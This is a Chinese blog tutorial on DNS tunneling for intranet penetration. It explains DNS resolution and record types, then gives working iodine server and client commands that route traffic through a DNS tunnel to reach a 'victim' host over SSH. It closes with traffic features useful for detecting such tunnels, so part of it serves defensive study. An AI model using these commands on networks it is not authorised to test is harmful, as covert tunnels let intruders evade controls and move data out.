• 内网渗透-dns隧道通信原理&特征


    1、dns是什么

    DNS是 Domain Name System 的缩写,也就是 域名解析系统,它的作用非常简单,就是根据域名查出对应的 IP地址。

    2、域名的层级

    主机名.次级域名.顶级域名.根域名
    baike.baidu.com.root

    3、dns解析过程

    来自:https://mp.weixin.qq.com/s/aPa1sYBmb4j1PtyEOkipdw
    先查找本地 DNS 缓存(自己的电脑上),有则返回,没有则进入下一步 查看本地 hosts 文件有没有相应的映射记录,有则返回,没有则进入下一步 向本地 DNS 服务器(一般都是你的网络接入服务器商提供,比如中国电信,中国移动)发送请求进行查询,本地DNS服务器收到请求后,会先查下自己的缓存记录,如果查到了直接返回就结束了,如果没有查到,本地DNS服务器就会向DNS的根域名服务器发起查询请求:请问老大, www.
    163.com 的ip是啥? 根域名服务器收到请求后,看到这是个 .com 的域名,就回信说:这个域名是由 .com 老弟管理的,你去问他好了,这是.com老弟的联系方式(ip1)。 本地 DNS 服务器接收到回信后,照着老大哥给的联系方式(ip1),马上给 .com 这个顶级域名服务器发起请求:请问 .com 大大,www.163.com 的ip 是啥? .com 顶级域名服务器接收到请求后,看到这是 163.com 的域名,就回信说:这个域名是 .163.com 老弟管理的,你就去问他就行了,这是他的联系方式(ip2) 本地 DNS 服务器接收到回信后,按照前辈的指引(ip2),又向 .163.com 这个权威域名服务器发起请求:请问 163.com 大大,请问 www.163.com 的ip是啥? 163.com 权威域名服务器接收到请求后,确认了是自己管理的域名,马上查了下自己的小本本,把 www.163.com 的ip告诉了 本地DNS服务器。 本地DNS服务器接收到回信后,非常地开心,这下总算拿到了www.163.com的ip了,马上把这个消息告诉了要求查询的客户(就是你的电脑)。由于这个过程比较漫长,本地DNS服务器为了节省时间,也为了尽量不去打扰各位老大哥,就把这个查询结果偷偷地记在了自己的小本本上,方便下次有人来查询时,可以快速回应。

    总结起来就三句话(一会的dns现网环境隧道,就是在子域名加了一条ns记录)

    "根域名服务器"查到"顶级域名服务器"的NS记录和A记录(IP地址)
    从"顶级域名服务器"查到"次级域名服务器"的NS记录和A记录(IP地址)
    从"次级域名服务器"查出"主机名"的IP地址

    4、dns缓存时间 

    我们在配置 DNS 解析的时候,会有一个 TTL 参数(Time To Live),意思就是这个缓存可以存活多长时间,过了这个时间,本地 DNS 就会删除这条记录,删除了缓存后,你再访问,就要重新走一遍上面的流程,获取最新的地址。

    5、dns的记录类型

    常见的 DNS 记录类型如下

    A:地址记录(Address),返回域名指向的IP地址。
    
    NS:域名服务器记录(Name Server),返回保存下一级域名信息的服务器地址。该记录只能设置为域名,不能设置为IP地址。
    
    MX:邮件记录(Mail eXchange),返回接收电子邮件的服务器地址。
    
    CNAME:规范名称记录(Canonical Name),返回另一个域名,即当前查询的域名是另一个域名的跳转。
    
    PTR:逆向查询记录(Pointer Record),只用于从IP地址查询域名。

    6、iodine搭建dns隧道

     6.1 公网环境(中继实现dns隧道,本地局域网环境,不需要这一步)

    第一步:添加一条NS记录

    我这里的设置是dns.tutuuu.top指向dnsns.tutuuu.top,想要解析dns.tutuuu.top这个子域名,就需要去访问dnsns.tutuuu.top这个域名服务器

    第二步:添加一条A记录

    将域名服务器解析到咱们的控制的公网服务器IP地址,我的域名服务器是dnsns.tutuuu.top,对应的公网IP地址是123.56.6.xxx

    6.2 使用iodine搭建dns隧道

    -f 前台显示
    -P 设置通信密码(我的密码是hackbijipasswd)
    10.0.0.1 (我设置的服务器私有网址,也可以设置为其他地址)
    dnsns.tutuuu.top

    服务端执行

    iodined -fP 123passwd 10.0.0.1 dnsns.tutuuu.top

    可以看到服务端建立了一个10网段的dns0的网卡

     客户端执行

    iodine -fP 123passwd -T txt -r 192.168.8.190 dnsns.tutuuu.top

    访问10.0.0.0网段的流量都会走dns0隧道接口

    查看当前路由

     访问被害者主机的ssh

    流量分析

    使用-T参数,可以指定dns传输的查询类型,下图使用的是txt类型传输

     默认不加-T参数,dns隧道查询使用的是10这个type,可以作为在流量中发现dns隧道的一个判定依据。

     支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型。

    在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。

    写完了,发现绿盟之前总结过,各位看官可以研读一下。

    http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/?from=timeline

  • 相关阅读:
    Java IO流(一)
    Java File类
    LeetCode Notes_#16 3Sum Cloest
    LeetCode Notes_#15 3Sum
    LeetCode Notes_#11 Container with Most Water
    《[Wow!photoshop创意设计].李正贤.扫描版.pdf》
    计算机视觉新手指南
    对命名实体识别进行基准测试:StanfordNLP,IBM,spaCy,Dialogflow和TextSpace
    医学模型深度学习训练的挑战
    卷积神经网络(CNN)简易教程
  • 原文地址:https://www.cnblogs.com/R1card0/p/13299499.html
Copyright © 2020-2023  润新知